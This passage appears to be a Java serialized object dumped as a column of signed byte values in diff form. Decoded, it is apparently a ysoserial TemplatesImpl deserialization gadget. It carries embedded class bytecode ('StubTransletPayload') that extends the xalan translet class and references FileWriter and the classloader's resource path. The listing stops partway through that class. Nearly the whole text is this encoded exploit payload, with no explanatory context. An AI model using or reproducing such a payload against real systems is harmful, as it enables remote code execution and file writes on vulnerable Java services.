+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ -82
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 99
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ 97
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 44
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 47
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 50
+
+
+ 10
+
+
+ 0
+
+
+ 48
+
+
+ 0
+
+
+ 51
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 120
+
+
+ 116
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 53
+
+
+ 0
+
+
+ 54
+
+
+ 10
+
+
+ 0
+
+
+ 48
+
+
+ 0
+
+
+ 55
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 47
+
+
+ 8
+
+
+ 0
+
+
+ 57
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 34
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 110
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 85
+
+
+ 82
+
+
+ 76
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 61
+
+
+ 0
+
+
+ 62
+
+
+ 10
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 63
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 110
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 85
+
+
+ 82
+
+
+ 76
+
+
+ 7
+
+
+ 0
+
+
+ 65
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 116
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 67
+
+
+ 0
+
+
+ 68
+
+
+ 10
+
+
+ 0
+
+
+ 66
+
+
+ 0
+
+
+ 69
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
